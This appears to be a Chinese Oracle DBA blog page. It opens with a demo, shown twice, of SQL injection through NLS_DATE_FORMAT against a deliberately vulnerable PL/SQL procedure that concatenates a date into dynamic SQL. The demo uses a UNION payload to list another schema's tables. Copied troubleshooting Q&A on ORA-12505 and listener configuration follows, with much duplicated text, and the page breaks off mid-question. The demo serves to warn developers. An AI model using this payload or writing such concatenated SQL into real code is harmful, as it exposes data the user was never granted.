文章现已搬到www.anbob.com个人网站上
oracle 轻松小sql注入
上一篇 / 下一篇 2011-08-31 08:42:54 / 个人分类：oracle管理
查看( 2352 ) / 评论( 13 )
今天看tom的有提到一个很有趣的东东，只授权的procedure execute，别人就可以
sql注入，以后你可得小心了，下面请看我的试验
[oracle@aix ~]$ sqlplus anbob/anbob
SQL*Plus: Release 10.2.0.4.0 - Production on Tue Aug 30 18:52:41 2011
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi
PL/SQL Release 10.2.0.4.0 - Production
CORE 10.2.0.4.0 Production
TNS for Linux: Version 10.2.0.4.0 - Production
NLSRTL Version 10.2.0.4.0 - Production
SQL> select * from all_users;
USERNAME USER_ID CREATED
------------------------------ ---------- -------------------
ZYY 1099 2011-08-30 11:41:03
GZPX_DB 1070 2011-08-30 11:41:01
GIAF 1069 2011-08-30 11:41:01
DEAN_TRAIN 1068 2011-08-30 11:41:01
...
75 rows selected.
SQL> select * from tab;
TNAME TABTYPE CLUSTERID
------------------------------ ------- ----------
TEST TABLE
TESTA TABLE
TESTB TABLE
TESTBLOB TABLE
TESTC TABLE
TESTIMG TABLE
TESTKDR TABLE
TESTXY TABLE
8 rows selected.
SQL> create or replace procedure badboy( p_date in date )
2 as
3 l_rec all_users%rowtype;
4 c sys_refcursor;
5 l_query long;
6 begin
7 l_query := 'select * from all_users where created = ''' ||p_date ||'''';
8 dbms_output.put_line( l_query );
9 open c for l_query;
10 for i in 1 .. 10
11 loop
12 fetch c into l_rec;
13 exit when c%notfound;
14 dbms_output.put_line( l_rec.username || '.....' );
15 end loop;
16 close c;
17 end;
18 /
Procedure created.
SQL> set serveroutput on;
SQL> exec badboy(sysdate);
select * from all_users where created = '2011-08-30 18:55:04'
PL/SQL procedure successfully completed.
SQL> grant execute on badboy to icme;
Grant succeeded.
SQL> conn icme/icme
Connected.
SQL> set serveroutput on
SQL> exec anbob.badboy(sysdate);
select * from all_users where created = '2011-08-30 18:57:44'
PL/SQL procedure successfully completed.
SQL> alter session set nls_date_format = '"''union select tname,0,sysdate from tab--"';
Session altered.
SQL> exec anbob.badboy(sysdate);
select * from all_users where created = ''union select tname,0,sysdate from tab--'
TEST.....
TESTA.....
TESTB.....
TESTBLOB.....
TESTC.....
TESTIMG.....
TESTKDR.....
TESTXY.....
PL/SQL procedure successfully completed.
呵，是不是很眼熟，这当然是anbob的表，这些表并没有授权给icme。同样也可以从all_column得到列，那样就可以得到表只的一部份数据了...
[oracle@aix ~]$ sqlplus anbob/anbob
SQL*Plus: Release 10.2.0.4.0 - Production on Tue Aug 30 18:52:41 2011
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi
PL/SQL Release 10.2.0.4.0 - Production
CORE 10.2.0.4.0 Production
TNS for Linux: Version 10.2.0.4.0 - Production
NLSRTL Version 10.2.0.4.0 - Production
SQL> select * from all_users;
USERNAME USER_ID CREATED
------------------------------ ---------- -------------------
ZYY 1099 2011-08-30 11:41:03
GZPX_DB 1070 2011-08-30 11:41:01
GIAF 1069 2011-08-30 11:41:01
DEAN_TRAIN 1068 2011-08-30 11:41:01
...
75 rows selected.
SQL> select * from tab;
TNAME TABTYPE CLUSTERID
------------------------------ ------- ----------
TEST TABLE
TESTA TABLE
TESTB TABLE
TESTBLOB TABLE
TESTC TABLE
TESTIMG TABLE
TESTKDR TABLE
TESTXY TABLE
8 rows selected.
SQL> create or replace procedure badboy( p_date in date )
2 as
3 l_rec all_users%rowtype;
4 c sys_refcursor;
5 l_query long;
6 begin
7 l_query := 'select * from all_users where created = ''' ||p_date ||'''';
8 dbms_output.put_line( l_query );
9 open c for l_query;
10 for i in 1 .. 10
11 loop
12 fetch c into l_rec;
13 exit when c%notfound;
14 dbms_output.put_line( l_rec.username || '.....' );
15 end loop;
16 close c;
17 end;
18 /
Procedure created.
SQL> set serveroutput on;
SQL> exec badboy(sysdate);
select * from all_users where created = '2011-08-30 18:55:04'
PL/SQL procedure successfully completed.
SQL> grant execute on badboy to icme;
Grant succeeded.
SQL> conn icme/icme
Connected.
SQL> set serveroutput on
SQL> exec anbob.badboy(sysdate);
select * from all_users where created = '2011-08-30 18:57:44'
PL/SQL procedure successfully completed.
SQL> alter session set nls_date_format = '"''union select tname,0,sysdate from tab--"';
Session altered.
SQL> exec anbob.badboy(sysdate);
select * from all_users where created = ''union select tname,0,sysdate from tab--'
TEST.....
TESTA.....
TESTB.....
TESTBLOB.....
TESTC.....
TESTIMG.....
TESTKDR.....
TESTXY.....
PL/SQL procedure successfully completed.
呵，是不是很眼熟，这当然是anbob的表，这些表并没有授权给icme。同样也可以从all_column得到列，那样就可以得到表只的一部份数据了...
关于ORACLE的ora-12505报错以及连接问题的解决及相关资料
最近,我在使用jdbc连接oracle 9i数据库时，发生如下错误：
Error occured while trying to connect to the database
Error connecting to database: (using class racle.jdbc.driver.OracleDriver)
Listener refused the connection with the following error:
ORA-12505, TNS:listener does not currently know of SID given in connect descriptor
The Connection descriptor used by the client was:
192.168.1.1:1521:bbcd
Listener refused the connection with the following error:
ORA-12505, TNS:listener does not currently know of SID given in connect descriptor
The Connection descriptor used by the client was:
192.168.1.1:1521:bbcd
----解决办法，经查找，以上的bbcd并不是sid_name,而是SERVICE_NAME
改用sid_name后，运行正常。
2006.07.17
服务器上的相关name:
listener.ora: GLOBAL_NAME,SID_NAME
init.ora :db_name
附：有关资料
关于ORACLE的ora-12505报错以及连接问题的问答资料
1:配置JDBC Connection Pool时出错
原文:http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=123&threadID=8769
问题描述：我安装weblogic8.1后，准备连接oracle9i，创建JDBC Connection Pool时出错，错误提示：
Io 异常: Connection refused(DESCRIPTION=(TMP=)(VSNNUM=153093120)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4))))
Driver Classname: oracle.jdbc.driver.OracleDriver
URL:jdbc:oracle:thin:@145.32.16.1:1521:zzlt
oracle的日志：
TNS-12505: TNS:listener could not resolve SID given in connect descriptor
原文:http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=123&threadID=8769
问题描述：我安装weblogic8.1后，准备连接oracle9i，创建JDBC Connection Pool时出错，错误提示：
Io 异常: Connection refused(DESCRIPTION=(TMP=)(VSNNUM=153093120)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4))))
Driver Classname: oracle.jdbc.driver.OracleDriver
URL:jdbc:oracle:thin:@145.32.16.1:1521:zzlt
oracle的日志：
TNS-12505: TNS:listener could not resolve SID given in connect descriptor
sql plus使用都很正常。
------------------
解答1：我也遇到这个问题，但是幸运的是我刚刚解决。
错误码一样。你看看如下几个问题：
1、zzlt 是你的数据库名还是数据库的实例名。
比如我在SQL PLUS里面连接的是finance数据库实例，一切正常，但是Oracle的Url是 finance.ora，那么在端口后面就应该写ora而不是finance.
解答1：我也遇到这个问题，但是幸运的是我刚刚解决。
错误码一样。你看看如下几个问题：
1、zzlt 是你的数据库名还是数据库的实例名。
比如我在SQL PLUS里面连接的是finance数据库实例，一切正常，但是Oracle的Url是 finance.ora，那么在端口后面就应该写ora而不是finance.
2、到你的Oracle数据上去看看，修改一下一个配置文件，具体文件我忘了，反正我把里面的ora全部换成了IP地址，然后通过，现在应用良好。
------------
解答2：
在 ORACLE 里用tnsping 看看listener启动了吗？
再看看listener config file 里面有没有写上你的SID
解答3：
解答2：
在 ORACLE 里用tnsping 看看listener启动了吗？
再看看listener config file 里面有没有写上你的SID
解答3：
到服务器上看一下，listener.ora
SID_LIST_LISTENER =
(SID_DESC =
(GLOBAL_DBNAME = oracle9i)
(ORACLE_HOME = /opt/oracle9i/product/9.2.0)
(SID_NAME = ORCL)
)
)
你的url里面可能用的是上面的GLOBAL_DBNAME 的值，就是用的是SERVICE_NAME, 替换成SID_NAME后面的值试试看
SID_LIST_LISTENER =
(SID_DESC =
(GLOBAL_DBNAME = oracle9i)
(ORACLE_HOME = /opt/oracle9i/product/9.2.0)
(SID_NAME = ORCL)
)
)
你的url里面可能用的是上面的GLOBAL_DBNAME 的值，就是用的是SERVICE_NAME, 替换成SID_NAME后面的值试试看
你可以用sqlplus登陆到服务器
$sqlplus / as sysdba
SQL> select * from v$instance;
看一下你的机器正在跑的SID的名字是什么
=================================
$sqlplus / as sysdba
SQL> select * from v$instance;
看一下你的机器正在跑的SID的名字是什么
=================================
2：关于SID_NAME，SERVICE_NAME，db_name的疑问
listener：
(SID_DESC =
(GLOBAL_DBNAME = e3dup)
(ORACLE_HOME = d:\oracle\ora92)
(SID_NAME = e3dup2)
)
(SID_DESC =
(GLOBAL_DBNAME = e3dup)
(ORACLE_HOME = d:\oracle\ora92)
(SID_NAME = e3dup2)
)
tnsname.ora：
E3_DUP =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = jiangxs)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = e3dup2)
)
)
E3_DUP =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = jiangxs)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = e3dup2)
)
)
SQL> conn
/@e3_dup as sysdba
ERROR:
ORA-12514: TNS: 监听进程不能解析在连接描述符中给出的 SERVICE_NAME
ERROR:
ORA-12514: TNS: 监听进程不能解析在连接描述符中给出的 SERVICE_NAME
但如果我把tnsname.ora里的SERVICE_NAME = e3dup2 改成 SERVICE_NAME = e3dup（和GLOBAL_DBNAME相同），就可以。
那是不是说tnsname里的SERVICE_NAME 和向GLOBAL_DBNAME关联？原来还以为SERVICE_NAME 指向 SID_NAME，那listener里的SID_NAME 名有什么用？
那是不是说tnsname里的SERVICE_NAME 和向GLOBAL_DBNAME关联？原来还以为SERVICE_NAME 指向 SID_NAME，那listener里的SID_NAME 名有什么用？
------------------------
解答：
SID_NAME跟安装oracle时的ORACLE_SID相同，SERVICE_NAME=DBNAME.DB_DOMAIN
DB_NAME即是数据库名，它是oracle数据库的内部标识，安装以后轻易不要修改
SID_NAME跟安装oracle时的ORACLE_SID相同，SERVICE_NAME=DBNAME.DB_DOMAIN
DB_NAME即是数据库名，它是oracle数据库的内部标识，安装以后轻易不要修改
===========================
3：在Oracle网络结构中解决连接问题
来源:不详 (2006-06-29 15:14:21)
来源： http://fanqiang.chinaunix.net/db/oracle/2006-06-29/4714.shtml
最近看到好多人说到tns或者数据库不能登录等问题，就索性总结了下面的文档。
首先来说Oracle的网络结构，往复杂处说能加上加密、LDAP等等。。这里不做讨论，重点放在基本的网络结构也就是我们最常用的这种情况
三个配置文件
listener.ora、sqlnet.ora、tnsnames.ora ，都是放在$ORACLE_HOME\network\admin目录下。
重点:三个文件的作用和使用
#-----------------------
sqlnet.ora-----作用类似于linux或者其他unix的nsswitch.conf文件，通过这个文件来决定怎么样找一个连接中出现的连接字符串，
例如我们客户端输入
sqlplus sys/oracle@orcl
假如我的sqlnet.ora是下面这个样子
SQLNET.AUTHENTICATION_SERVICES= (NTS)
NAMES.DIRECTORY_PATH= (TNSNAMES,HOSTNAME)
那么，客户端就会首先在tnsnames.ora文件中找orcl的记录.如果没有相应的记录则尝试把orcl当作一个主机名，通过网络的途径去解析它的ip地址然后去连接这个ip上GLOBAL_DBNAME=orcl这个实例，当然我这里orcl并不是一个主机名
如果我是这个样子
NAMES.DIRECTORY_PATH= (TNSNAMES)
那么客户端就只会从tnsnames.ora查找orcl的记录
括号中还有其他选项，如LDAP等并不常用。
#------------------------
Tnsnames.ora------这个文件类似于unix 的hosts文件，提供的tnsname到主机名或者ip的对应，只有当sqlnet.ora中类似
NAMES.DIRECTORY_PATH= (TNSNAMES) 这样，也就是客户端解析连接字符串的顺序中有TNSNAMES是，才会尝试使用这个文件。
例子中有两个，ORCL 对应的本机，SALES对应的另外一个IP地址，里边还定义了使用主用服务器还是共享服务器模式进行连接，一句一句说
#你所要连接的时候输入得TNSNAME
ORCL =
(DESCRIPTION =
(ADDRESS_LIST =
#下面是这个TNSNAME对应的主机，端口，协议
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
)
(CONNECT_DATA =
#使用专用服务器模式去连接需要跟服务器的模式匹配，如果没有就根据服务器的模式
#自动调节
(SERVER = DEDICATED)
#对应service_name，SQLPLUS>show parameter service_name;
#进行查看
(SERVICE_NAME = orcl)
)
)
#下面这个类似
SALES =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.188.219)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = sales)
)
)
#----------------------
客户端完了我们来看服务器端
listener.ora------listener监听器进程的配置文件
关于listener进程就不多说了，接受远程对数据库的接入申请并转交给oracle的服务器进程。所以如果不是使用的远程的连接，listener进程就不是必需的，同样的如果关闭listener进程并不会影响已经存在的数据库连接。
Listener.ora文件的例子
#listener.ora Network Configuration File: #E:\oracle\product\10.1.0\Db_2\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.
#下面定义LISTENER进程为哪个实例提供服务
#这里是ORCL，并且它对应的ORACLE_HOME和GLOBAL_DBNAME
#其中GLOBAL_DBNAME不是必需的除非使用HOSTNAME做数据库连接
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(GLOBAL_DBNAME = boway)
(ORACLE_HOME = E:\oracle\product\10.1.0\Db_2)
(SID_NAME = ORCL)
)
)
#监听器的名字，一台数据库可以有不止一个监听器
#再向下面是监听器监听的协议，ip，端口等，这里使用的tcp1521端口，并且使#用的是主机名
LISTENER =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = boway)(PORT = 1521))
)
上面的例子是一个最简单的例子，但也是最普遍的。一个listener进程为一个instance(SID)提供服务。
监听器的操作命令
$ORACLE_HOME/bin/lsnrctl start,其他诸如stop,status等。具体敲完一个lsnrctl后看帮助。
上面说到的三个文件都可以通过图形的配置工具来完成配置
$ORACLE_HOME/netca 向导形式的
$ORACLE_HOME/netmgr
本人比较习惯netmgr,
profile 配置的是sqlnet.ora也就是名称解析的方式
service name 配置的是tnsnames.ora文件
listeners配置的是listener.ora文件，即监听器进程
具体的配置可以尝试一下然后来看一下配置文件。
这样一来总体结构就有了，是当你输入sqlplus sys/oracle@orcl的时候
1. 查询sqlnet.ora看看名称的解析方式，发现是TNSNAME
2. 则查询tnsnames.ora文件，从里边找orcl的记录，并且找到主机名，端口和service_name
3. 如果listener进程没有问题的话，建立与listener进程的连接。
4. 根据不同的服务器模式如专用服务器模式或者共享服务器模式，listener采取接下去的动作。默认是专用服务器模式，没有问题的话客户端就连接上了数据库的server process。
5. 这时候网络连接已经建立，listener进程的历史使命也就完成了。
#---------------
几种连接用到的命令形式
1.sqlplus / as sysdba 这是典型的操作系统认证，不需要listener进程
2.sqlplus sys/oracle 这种连接方式只能连接本机数据库，同样不需要listener进程
3.sqlplus sys/oracle@orcl 这种方式需要listener进程处于可用状态。最普遍的通过网络连接。
以上连接方式使用sys用户或者其他通过密码文件验证的用户都不需要数据库处于可用状态，操作系统认证也不需要数据库可用，普通用户因为是数据库认证，所以数据库必需处于open状态。
然后就是
#-------------
平时排错可能会用到的
1.lsnrctl status查看服务器端listener进程的状态
LSNRCTL> help
The following operations are available
An asterisk (*) denotes a modifier or extended command:
start stop status
services version reload
save_config trace change_password
quit exit set*
show*
LSNRCTL> status
2.tnsping 查看客户端sqlnet.ora和tnsname.ora文件的配置正确与否，及对应的服务器的listener进程的状态。
C:\>tnsping orcl
TNS Ping Utility for 32-bit Windows: Version 10.1.0.2.0 - Production on 16-8月 -
2005 09:36:08
Copyright (c) 1997, 2003, Oracle. All rights reserved.
Used parameter files:
E:\oracle\product\10.1.0\Db_2\network\admin\sqlnet.ora
Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)
(HOST = 127.0.0.1)(PORT = 1521))) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_
NAME = orcl)))
OK (20 msec)
3.
SQL>show sga 查看instance是否已经启动
SQL> select open_mode from v$database; 查看数据库是打开还是mount状态。
OPEN_MODE
----------
READ WRITE
#-----------------
使用hostname访问数据库而不是tnsname的例子
使用tnsname访问数据库是默认的方式，但是也带来点问题，那就是客户端都是需要配置tnsnames.ora文件的。如果你的数据库服务器地址发生改变，就需要重新编辑客户端这个文件。通过hostname访问数据库就没有了这个麻烦。
需要修改
服务器端listener.ora
#监听器的配置文件listener.ora
#使用host naming则不再需要tnsname.ora文件做本地解析
# listener.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
# (SID_NAME = PLSExtProc)
(SID_NAME = orcl)
(GLOBAL_DBNAME = boway)
(ORACLE_HOME = d:\oracle\product\10.1.0\db_1)
# (PROGRAM = extproc)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = boway)(PORT = 1521))
)
)
客户端sqlnet.ora 如果确认不会使用TNSNAME访问的话，可以去掉TNSNAMES
# sqlnet.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\sqlnet.ora
# Generated by Oracle configuration tools.
SQLNET.AUTHENTICATION_SERVICES= (NTS)
NAMES.DIRECTORY_PATH= (HOSTNAME)
Tnsnames.ora文件不需要配置，删除也无所谓。
下面就是网络和操作系统的配置问题了，怎么样能够解析我的主机名的问题了
可以通过下面的方式连接
sqlplus sys/oracle@boway
这样的话，会连接boway这台服务器，并且listener来确定你所要连接的service_name。
几种连接用到的命令形式
1.sqlplus / as sysdba 这是典型的操作系统认证，不需要listener进程
2.sqlplus sys/oracle 这种连接方式只能连接本机数据库，同样不需要listener进程
3.sqlplus sys/oracle@orcl 这种方式需要listener进程处于可用状态。最普遍的通过网络连接。
以上连接方式使用sys用户或者其他通过密码文件验证的用户都不需要数据库处于可用状态，操作系统认证也不需要数据库可用，普通用户因为是数据库认证，所以数据库必需处于open状态。
然后就是
#-------------
平时排错可能会用到的
1.lsnrctl status查看服务器端listener进程的状态
LSNRCTL> help
The following operations are available
An asterisk (*) denotes a modifier or extended command:
start stop status
services version reload
save_config trace change_password
quit exit set*
show*
LSNRCTL> status
2.tnsping 查看客户端sqlnet.ora和tnsname.ora文件的配置正确与否，及对应的服务器的listener进程的状态。
C:\>tnsping orcl
TNS Ping Utility for 32-bit Windows: Version 10.1.0.2.0 - Production on 16-8月 -
2005 09:36:08
Copyright (c) 1997, 2003, Oracle. All rights reserved.
Used parameter files:
E:\oracle\product\10.1.0\Db_2\network\admin\sqlnet.ora
Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)
(HOST = 127.0.0.1)(PORT = 1521))) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_
NAME = orcl)))
OK (20 msec)
3.
SQL>show sga 查看instance是否已经启动
SQL> select open_mode from v$database; 查看数据库是打开还是mount状态。
OPEN_MODE
----------
READ WRITE
#-----------------
使用hostname访问数据库而不是tnsname的例子
使用tnsname访问数据库是默认的方式，但是也带来点问题，那就是客户端都是需要配置tnsnames.ora文件的。如果你的数据库服务器地址发生改变，就需要重新编辑客户端这个文件。通过hostname访问数据库就没有了这个麻烦。
需要修改
服务器端listener.ora
#监听器的配置文件listener.ora
#使用host naming则不再需要tnsname.ora文件做本地解析
# listener.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
# (SID_NAME = PLSExtProc)
(SID_NAME = orcl)
(GLOBAL_DBNAME = boway)
(ORACLE_HOME = d:\oracle\product\10.1.0\db_1)
# (PROGRAM = extproc)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = boway)(PORT = 1521))
)
)
客户端sqlnet.ora 如果确认不会使用TNSNAME访问的话，可以去掉TNSNAMES
# sqlnet.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\sqlnet.ora
# Generated by Oracle configuration tools.
SQLNET.AUTHENTICATION_SERVICES= (NTS)
NAMES.DIRECTORY_PATH= (HOSTNAME)
Tnsnames.ora文件不需要配置，删除也无所谓。
下面就是网络和操作系统的配置问题了，怎么样能够解析我的主机名的问题了
可以通过下面的方式连接
sqlplus sys/oracle@boway
这样的话，会连接boway这台服务器，并且listener来确定你所要连接的service_name。
===========================
4：jdbc连oracle被拒绝，使用过千百次的方法了！急！
来源：http://www.itpub.net/501870.html
来源：http://www.itpub.net/501870.html
java.sql.SQLException: Io 异常: Connection refused(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4))))
使用plsql可以连接上，使用tomcat的连接池的方式也可连上，但是我使用直接连接的方式就报这个错。
绝对不会缺少类路径，我能保证这一点。
请求大家救命！
----------------
使用plsql可以连接上，使用tomcat的连接池的方式也可连上，但是我使用直接连接的方式就报这个错。
绝对不会缺少类路径，我能保证这一点。
请求大家救命！
----------------
Connection connection = null;
try {
// Load the JDBC driver
String driverName = "oracle.jdbc.driver.OracleDriver";
Class.forName(driverName);
// Create a connection to the database
String serverName = "127.0.0.1";
String portNumber = "1521";
String sid = "mydatabase";
String url = "jdbc: oracle:thin:@" + serverName + ":" + portNumber + ":" + sid;
String username = "username";
String password = "password";
connection = DriverManager.getConnection(url, username, password);
} catch (ClassNotFoundException e) {
// Could not find the database driver
} catch (SQLException e) {
// Could not connect to the database
}
try {
// Load the JDBC driver
String driverName = "oracle.jdbc.driver.OracleDriver";
Class.forName(driverName);
// Create a connection to the database
String serverName = "127.0.0.1";
String portNumber = "1521";
String sid = "mydatabase";
String url = "jdbc: oracle:thin:@" + serverName + ":" + portNumber + ":" + sid;
String username = "username";
String password = "password";
connection = DriverManager.getConnection(url, username, password);
} catch (ClassNotFoundException e) {
// Could not find the database driver
} catch (SQLException e) {
// Could not connect to the database
}
----------------
hehe,是我搞错了，在配置文件里的url后面加了个“；”号。
谢谢大家的提醒！非常感谢
谢谢大家的提醒！非常感谢
=================================
5：以下资料的主要内容是，要使用正确的listener版本
Q:
I tried it on my Redhat Enterprise 3 and Oracle10g,but sqlplus still failed:
I tried it on my Redhat Enterprise 3 and Oracle10g,but sqlplus still failed:
ORA-01034 ORACLE not available
ORA-27101 share memory realm does not exist
Linux Error :2: No such file or directory
ORA-27101 share memory realm does not exist
Linux Error :2: No such file or directory
I searched on metalink.oracle.com,asktom.oracle.com and others website,peoples
said maybe ORACLE_HOME, ORACLE_SID or kernel parameters are not correct,I tried
in different ways,unfortunately, is not helpful. There are so many people
encounter the problems, why Oracle does not consider to fix it???
said maybe ORACLE_HOME, ORACLE_SID or kernel parameters are not correct,I tried
in different ways,unfortunately, is not helpful. There are so many people
encounter the problems, why Oracle does not consider to fix it???
thanks,
Lawrence
here are some files:
1.tnsname.ora:
1.tnsname.ora:
SALES =
( DESCRIPTION =
( ADDRESS = ( PROTOCOL = TCP) (HOST = localhost.localdomain)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = sales)
)
)
( DESCRIPTION =
( ADDRESS = ( PROTOCOL = TCP) (HOST = localhost.localdomain)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = sales)
)
)
EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
2.listener.ora:
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME =/home/oracle/product/10.1.0/db_1)
(PROGRAM = extproc)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST=localhost.localdomain)
(POST = 1521))
)
)
)
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST=localhost.localdomain)
(POST = 1521))
)
)
)
3.kernel parameters:
kernel parameters:
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
kernel parameters:
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
add following line to:
/etc/security/limits.conf:
/etc/security/limits.conf:
* soft nproc 2047
* hard nproc 16384
* soft nofile 1024
* hard nofile 65536
* hard nproc 16384
* soft nofile 1024
* hard nofile 65536
add following line to:
/etc/pam.d/login
/etc/pam.d/login
add following line to:
session required /lib/security/limits.so
add following line to:
/etc/profile
/etc/profile
if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi
4.bash_profile
PATH = $PATH:$HOME/bin
umask 022
export ORACLE_BASE=/home/oracle
export ORACLE_HOME=ORACLE_BASE/product/10.1.0/db_1
export ORACLE_SID=sales
export ORACLE_TERM=xterm
LD_LIBRARY_PATH=$ORACLE_HOME/jdk/fre/lib/i386:$ORACLE_HOME/jdk/fre
export LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH
umask 022
export ORACLE_BASE=/home/oracle
export ORACLE_HOME=ORACLE_BASE/product/10.1.0/db_1
export ORACLE_SID=sales
export ORACLE_TERM=xterm
LD_LIBRARY_PATH=$ORACLE_HOME/jdk/fre/lib/i386:$ORACLE_HOME/jdk/fre
export LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH
5.part of env:
SSH_AGENT_PID=2697
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
TERM=xterm
NLS_LANG=AMERICAN
USER=oracle
LD_LIBRARY_PATH=/home/oracle/product/10.1.0/db_1/jdk/jre/lib/i386:/home/oracle/pr
oduct/10.1.0/db_1/jdk/jre
ORACLE_SID=sales
ORACLE_BASE=/home/oracle
USERNAME=oracle
PATH=/USR/kerberos/bin:/usr/local/bin:/usr/bin:/lib:/usr/X11R6/bin:/home/oracle/b
in:/home/oracle/product/10.1.0/db_1/bin
ORACLE_TERM=xterm
HOME=/home/oracle
LOGNAME=oracle
ORACLE_HOME=/home/oracle/producr/10.1.0/db_1
XAUTHORITY=/home/oracle/.xauthority
OLDPWD=/home/oracle/product/10.1.0/db_1/network/admin
SSH_AGENT_PID=2697
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
TERM=xterm
NLS_LANG=AMERICAN
USER=oracle
LD_LIBRARY_PATH=/home/oracle/product/10.1.0/db_1/jdk/jre/lib/i386:/home/oracle/pr
oduct/10.1.0/db_1/jdk/jre
ORACLE_SID=sales
ORACLE_BASE=/home/oracle
USERNAME=oracle
PATH=/USR/kerberos/bin:/usr/local/bin:/usr/bin:/lib:/usr/X11R6/bin:/home/oracle/b
in:/home/oracle/product/10.1.0/db_1/bin
ORACLE_TERM=xterm
HOME=/home/oracle
LOGNAME=oracle
ORACLE_HOME=/home/oracle/producr/10.1.0/db_1
XAUTHORITY=/home/oracle/.xauthority
OLDPWD=/home/oracle/product/10.1.0/db_1/network/admin
Followup:
there is nothing to fix, except something in your configuration is why....
and unfortunately you have none of the needed stuff here.
I cannot see what command line you used to try and connect (eg: was it over the
network, local, how)
network, local, how)
I cannot see what ORACLE_HOME and ORACLE_SID were used to start the database.
I can see an obvious typo in your ORACLE_HOME environment variable -- producr.
Hmmm....
=====================================
Hmmm....
=====================================
Tom,
We have two instances/environment Production & Staging.
We can logon to the Oracle Database through telnet in both environments.
We can logon to the Oracle Database through telnet in both environments.
We can also log on to Production Database through client by using SQL Plus or
Toad.
But we are not able to logon to Staging Database through client.
Toad.
But we are not able to logon to Staging Database through client.
Following error message comes up:
ORA-12505: TNS :listener could not resolve SID given in connect descriptor
Action 1
---------
Staging (I logon to staging box through telnet)
--------
